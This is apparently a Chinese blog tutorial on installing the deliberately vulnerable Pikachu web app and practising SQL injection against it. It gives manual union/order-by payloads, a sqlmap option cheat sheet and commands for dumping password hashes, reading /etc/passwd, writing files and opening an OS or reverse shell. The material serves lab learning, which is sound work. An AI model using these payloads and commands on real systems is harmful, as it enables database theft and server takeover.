安全测试之Pikachu练习平台入门

一、前言

Pikachu 是一个带有漏洞的Web应用系统,包含了常见的 web 安全漏洞,学习安全测试是一个不错的练习平台,它底层使用 php 开发,这里我们就不研究 php 这门语言,如果想学习看看教程应该上手是没问题的。下面我们使用 docker 安装 Pikachu 环境。

二、快速安装

打开虚拟机,直接输入下面命令:

docker run -d -p 8080:80 8023/pikachu-expect:latest

如果启动提示:

docker: Error response from daemon: driver failed programming external connectivity on endpoint happy_faraday (d96ecb89499eb5cc9b04410c75365051ea943d711b8770e21ebecdcf3ab101a3):  (iptables failed: iptables --wait -t nat -A DOCKER -p tcp -d 0/0 --dport 8765 -j DNAT --to-destination 172.17.0.2:80 ! -i docker0: iptables: No chain/target/match by that name.

重启dockcer服务:

[root@localhost ~]# service docker restart
Redirecting to /bin/systemctl restart docker.service

关闭防火墙:

systemctl stop firewalld

再次启动:

[root@localhost ~]# docker run -d -p 8080:80 8023/pikachu-expect:latest
f83df7b388d1eac8e9e75d0f8ab68d8eec4eb58a875dca5fa715e173f3c2ec72

浏览器打开地址:
在这里插入图片描述

如果在连接数据提示:

数据库连接失败,请检查config.inc.php配置文件

登录 docker 再登录 MySQL 自己创建一个数据库,操作语句如下:

mysql> create database pikachu;
Query OK, 1 row affected (0.12 sec)

再次点击前端其他功能就不会提示数据库没有初始化:
在这里插入图片描述

接下来就可以基于这个平台进行练习与学习。

三、如何使用

SQL 注入是安全测试必会的知识点,sqlmap 是SQL 注入常用工具化。

在第一次访问SQL-Lnject 下的“数字类型注入” 会提示 ‘Table pikachu.member doesn t exist’ ,这时候请重新初始化数据库即可;在地址拦输入ip:/install.php ,按步骤操作即可。
在这里插入图片描述

上面操作后再次点击就不会提示‘Table pikachu.member doesn t exist’ ,这是就可以正常练习:
在这里插入图片描述

打开 BurpSuite 点击proxy
在这里插入图片描述

可以通过 BurpSuite 进行抓包,进行 SQL 注入学习。
在这里插入图片描述
数字型注入(post):
在这里插入图片描述

再次点击 send to Repeater
在这里插入图片描述

通过判断是否有注入点,如果返回sql语法错误信息,说明此处存在注入点,尝试继续注入:
在这里插入图片描述

提示:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

如果没有 BurpSuite 该工具,我们是否可以修改前端页面,把下拉选项修改为输入方式进行注入学习呢?
在这里插入图片描述

参考代码:
在这里插入图片描述

但是上面是临时的,输入内容点击查询,代码会自动回复到原来,但是能验证是否有sql注入,上面修改后,页面就可以输入下面内容。
在这里插入图片描述
在这里插入图片描述
根据上面 ‘select your userid?’ 提示与查询结果我们可以猜想目前的sql语句是:

select name,email from tableName where userid = ?

id=1 and 1=2 回显正常,存在注入点,验证该注入点为数字型注入。
在这里插入图片描述

参考表长度,使用 order by

id=1 order by 3

在这里插入图片描述

提示错误,说明后台SQL语句中查询语句小于3个字段;

输入2:
在这里插入图片描述

上面提示正确:

-- &submit=%E6%9F%A5%E8%AF%A2  前面 -- 标识注释也可以用# 注释

如:
在这里插入图片描述

这里演示获取数据版本与数据名字,可以借 助union 语句获取数据库名称:
在这里插入图片描述

也可以获取数据库名与表名:

union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述
如果想获取具体表中的字段可以这样写,也可以获取其他表字段数据:

union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' 

在这里插入图片描述

如果获取字段内容呢?这里可以参考
在这里插入图片描述
观察密码账号密码是 md5 加密可以使用cmd5平台进行查看相关数据。
在这里插入图片描述

字符型注入(get)
在这里插入图片描述

操作步骤参考上面

第一步进行抓包:
在这里插入图片描述
输入上面查询的名字‘kevin’ 提示:
在这里插入图片描述
再次输入‘判断是否有注入点‘:
在这里插入图片描述

判断字段长度:
在这里插入图片描述

可以通过二分早点最终字段长度。

kevin' order by 2#

在这里插入图片描述
之后的操作与上面一样如:

?name=1' union select version(),database()%20%23&submit=查询

在这里插入图片描述
搜索型注入:
在这里插入图片描述

这样搜索猜想后的端写法为:‘%参数%’,可以使用 1%’ or 1=1# 格式进行验证,参考:
在这里插入图片描述

判断表长度 [ 1%’ order by 4# ]
在这里插入图片描述

再次输入3

1%'  order by 3#

结果:
在这里插入图片描述

上面没有出错,判断目前表字段在3以内;

获取数据名称语句参考:

1%'  union select 1,version(),database()#

首先需要把查询语句url转码:
在这里插入图片描述

复制转码数据,经常参数化,再次请求就能看到结果;
在这里插入图片描述

接下来就正常获取想要的数据就行。

xx型注入:所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)
在这里插入图片描述

按常规判断是否有注入点之间输入 ’
在这里插入图片描述
上面提示 SQL 语法错误,下一步进行 SQL 注入尝试;

kobe ') or 1=1

需要编码才能请求:
在这里插入图片描述
获取表长度:
在这里插入图片描述

输入3提示错误
在这里插入图片描述

输入2:
在这里插入图片描述
通过上面判断表长度为2,参考语句如下;

kobe ')  order by 2#

下面还有几种可以练习,自己搭建环境练习练习。

  • "insert/update"注入
  • "delete"注入
  • "http header"注入
  • 盲注(base on boolian)
  • 盲注(base on time)
  • 宽字节注入

上面是手工测试,如果我们用 sqlmap 应该怎么操作呢?sqlmap有是什么工具呢?

网上有一些基本操作,这里拿出来供大家做参考与学习:


-u  #注入点 
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-D ""  #指定数据库名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume) 
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--time-sec=(2,5) #延迟响应,默认为5 
--data #通过POST发送数据 
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
--dump-all            #列出所有数据库所有表 
--exclude-sysdbs      #只列出用户自己新建的数据库和表 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 
--dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系统(Linux,Windows) 
-v  #详细的等级(0-6) 
    0:只显示Python的回溯,错误和关键消息。
    1:显示信息和警告消息。
    2:显示调试消息。
    3:有效载荷注入。
    4:显示HTTP请求。
    5:显示HTTP响应头。
    6:显示HTTP响应页面的内容 
--privileges  #查看权限 
--is-dba      #是否是数据库管理员 
--roles       #枚举数据库用户角色 
--udf-inject  #导入用户自定义函数(获取系统权限) 
--union-check  #是否支持union 注入 
--union-cols #union 查询表记录 
--union-test #union 语句测试 
--union-use  #采用union 注入 
--union-tech orderby #union配合order by 
--data "" #POST方式提交数据(--data "page=1&id=2") 
--cookie "用;号分开"      #cookie注入(--cookies=”PHPSESSID=mxxxxxxx; security=low”) 
--referer ""     #使用referer欺骗(--referer "http://www.baidu.com") 
--user-agent ""  #自定义user-agent 
--proxy "http://127.0.0.1:8008" #代理注入 
--string=""    #指定关键词,字符串匹配. 
--threads     #采用多线程(--threads 3) 
--sql-shell    #执行指定sql命令 
--sql-query    #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" ) 
--file-read    #读取指定文件 
--file-write   #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) 
--file-dest    #要写入的文件绝对路径 
--os-cmd=id    #执行系统命令 
--os-shell     #系统交互shell 
--os-pwn       #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/) 
--msf-path=    #matesploit绝对路径(--msf-path=/opt/framework/msf3/) 
--os-smbrelay  # 
--os-bof       # 
--reg-read     #读取win系统注册表 
--priv-esc     # 
--time-sec=    #延迟设置 默认--time-sec=5 为5秒 
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"  #指定user-agent注入 
--eta          #盲注 
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典    
common-outputs.txt 
common-tables.txt      表字典 
keywords.txt 
oracle-default-passwords.txt 
user-agents.txt 
wordlist.txt

打开 sqlmap 进行数据库判断:
在这里插入图片描述

下面通过 get 请求,做sqlmap 演示:

在这里插入图片描述
执行命令参考为:

liwen@localhost sqlmap % python3 sqlmap.py -u "http://192.168.111.130:8765/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -f -b --current-user --current-db -v 1
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.3.13#dev}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:20:51 /2024-03-05/

[19:20:52] [INFO] testing connection to the target URL
....
....
[19:22:29] [INFO] testing MySQL
[19:22:29] [INFO] confirming MySQL
[19:22:29] [INFO] the back-end DBMS is MySQL
[19:22:29] [INFO] fetching banner
[19:22:30] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41, PHP
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: active fingerprint: MySQL >= 8.0.0
               comment injection fingerprint: MySQL 8.0.26
               banner parsing fingerprint: MySQL 8.0.26
banner: '8.0.26-0ubuntu0.20.04.2'
[19:22:30] [INFO] fetching current user
current user: 'root@localhost'
[19:22:30] [INFO] fetching current database
current database: 'pikachu'
[19:22:30] [INFO] fetched data logged to text files under '/Users/liwen/.local/share/sqlmap/output/192.168.111.130'

[*] ending @ 19:22:30 /2024-03-05/

通过 sqlmap 一步一步判断获取当前数据库版本与数据名字,相信大家按命令操作就行,记不得没关系,查一查资料就能解决,但是自己要知道有这样的工具可以使用。

下面是一些常见执行命令,大家可以收藏起来,以后可以使用:


1.读取数据库版本,当前用户,当前数据库 
sqlmap -u "http://..." -f -b --current-user --current-db -v 1 
2.判断当前数据库用户权限 
sqlmap -u "http://..." --privileges -U 用户名 -v 1 
sqlmap -u "http://..." --is-dba -U 用户名 -v 1 
3.读取所有数据库用户或指定数据库用户的密码 
sqlmap -u "http://..." --users --passwords -v 2 
sqlmap -u "http://..." --passwords -U root -v 2 
4.获取所有数据库 
sqlmap -u "http://..." --dbs -v 2 
5.获取指定数据库中的所有表 
sqlmap -u "http://..." --tables -D mysql -v 2 
6.获取指定数据库名中指定表的字段 
sqlmap -u "http://..." --columns -D mysql -T users -v 2 
7.获取指定数据库名中指定表中指定字段的数据 
sqlmap -u "http://..." --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 
8.file-read读取web文件 
sqlmap -u "http://..." --file-read "/etc/passwd" -v 2 
9.file-write写入文件到web 
sqlmap -u "http://..." --file-write /localhost/my.php --file 使用sqlmap绕过防火墙进行注入测试:

四、最后

安全测试中 sql 注入只是其中一小部分,对于互联网企业来说很少能发现 SQL 注入安全事件,但是对于自己知识积累还是很有帮助,对于传统行业就不好说。上面只是抛砖引玉,希望大家在以后的学习中不断积累自己的知识。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

zuozewei

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值